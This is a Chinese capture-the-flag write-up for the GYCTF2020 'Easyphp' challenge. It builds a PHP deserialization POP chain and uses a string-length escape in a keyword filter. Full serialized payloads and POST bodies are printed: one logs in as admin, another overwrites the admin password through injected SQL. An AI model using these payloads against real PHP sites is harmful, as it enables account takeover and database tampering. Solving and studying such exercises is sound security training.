[GYCTF2020]Easyphp
进入页面是一个登录页面,尝试进行sql注入,好像没法注入。看了下wp,www.zip
可以直接下源码。一共四个文件,index.php login.php lib.php update.php,主要代码都在lib.php中。可以看到这里是进行了sql语句预处理,所以没法注入。由于存在反序列化的点,尝试寻找pop链。一共两个__destruct()入口函数,其中UpdateHepler类的__destruct()函数刚好可以出发User类的__toString函数,进而出发Info类的__Call(),再出发dbCtrl类login()函数,并且可以构造自己的sql语句传入。login()函数里进行了两次校验分别为session中用户名是否为admin以及登录用户名和密码是否正确,通过任一个校验都能实现登录。我们可以通过伪造sql语句将admin写入session用户名,再进行登录即可通过第一次校验。
pop链:UpdateHepler::__destruct()->User::__toString->Info::__Call()->dbCtrl::login()
$start = new UpdateHelper();
$start->sql = new User();
$start->sql->nickname = new Info();
$start->sql->nickname->CtrlCase = new dbCtrl();
echo serialize($start);
这里第二次校验将用户输入的password进行一次md5混淆后与查询到的password进行对比。我们可以构造sql语句'select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?'
。这里`"c4ca4238a0b923820dcc509a6f75849b"是字符'1'的md5值。
$sql = 'select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$start = new UpdateHelper();
$start->sql = new User();
$start->sql->nickname = new Info();
$start->sql->nickname->CtrlCase = new dbCtrl();
$start->sql->age = $sql;
$start->sql->nickname->CtrlCase->name = 'admin';
$start->sql->nickname->CtrlCase->password = '1';//字符串1 不是数字1
$s = serialize($start);
echo $s;
这里注意password的值为字符串'1'而不是数字1,因为php的md5()函数参数为字符串。我们获取到payload如下
O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}
我们现在只需要对这个字符串进行反序列化即可实现登录。在lib.php中共有两个反序列化点,其中UpdateHelper类构造函数中的反序列化我们无法触发,只能利用User类update()函数的反序列化,这个函数在update.php中被调用。这里的反序列化字符串为getNewInfo()函数生成的字符串,该函数实例化了一个Info对象后序列化并进行了safe()函数过滤,并且实例化Info对象时参数可控。但是如果我们在这里传入参数,php只会把它当成字符串,不会解析为对象,无法触发pop链。
我们观察safe()函数可以发现,该函数对字符串进行了一些替换,但是替换前后字符串长度可能发生变化,比如将union替换为hacker增加了一个字符,于是我们可以利用这个漏洞将我们的序列化字符串逃逸出来。
首先我们构造一个Info类,并将nickname属性赋值为我们的序列化字符串,再进行反序列化
$sql = 'select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';//$this->name=$_POST['username'];
$start = new UpdateHelper();
$start->sql = new User();
$start->sql->nickname = new Info();
$start->sql->nickname->CtrlCase = new dbCtrl();
$start->sql->age = $sql;
$start->sql->nickname->CtrlCase->name = 'admin';
$start->sql->nickname->CtrlCase->password = '1';//字符串1 不是数字1
$s = serialize($start);
echo $s;
echo "<br>";
$a = new Info();
$a->nickname = $s;
echo serialize($a);
获取到payload如下(这里我用回车将第一步的payload标注出来了)
O:4:"Info":3:{s:3:"age";N;s:8:"nickname";s:447:"
O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}
";s:8:"CtrlCase";N;}
我们可以看到第一步生成的payload长度为447,因此这447个字符全部会被解析成字符串,不会存在中间的引号闭合前面的引号产生注入的问题。但是由于前面safe()函数进行替换时可能会导致字符串长度变化导致序列化字符串中的长度失效。如果我们在第一步的字符串前面加上447个union,进行替换后,字符串长度会加447,如果我们在加上";,便可以逃逸出我们的字符串。我们首先对payload进行一些修改,保证在替换后能正确解析。
";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}};}
这里我们在开头加上";s:8:"CtrlCase";,可以闭合前面的引号并将我们的payload赋值给CtrlCase,然后在最后加上;}保证字符串格式正确。实际上就是将上一步payload中最后";s:8:"CtrlCase";N;}中的N替换为我们第一步的payload。然后我们测量出这个字符串的长度为466,因此我们在前面加上466个union
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}};}
然后用post方式提交
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}};}
这个时候我们已经在session中写入admin,但是登录状态还没有切换,因此我们再切换到login.php页面进行admin账号任意密码登录即可获取flag。
这里解法也不唯一,由于我们可以控制sql语句,我们可以构造一些sql语句来控制数据库,例如
//$sql = 'select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$sql = 'update user set password="c4ca4238a0b923820dcc509a6f75849b" where username=?';
$start = new UpdateHelper();
$start->sql = new User();
$start->sql->nickname = new Info();
$start->sql->nickname->CtrlCase = new dbCtrl();
$start->sql->age = $sql;
$start->sql->nickname->CtrlCase->name = 'admin';
//$start->sql->nickname->CtrlCase->password = '1';//字符串1 不是数字1
$s = serialize($start);
echo $s;
echo "<br>";
$a = new Info();
$a->nickname = $s;
echo serialize($a);
然后修改为
ago=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:76:"update user set password="c4ca4238a0b923820dcc509a6f75849b" where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";N;}}}};}
提交这个payload便可以将admin用户密码修改为1。我们也可以创建一个admin的同名用户,自己设定密码等。
网友评论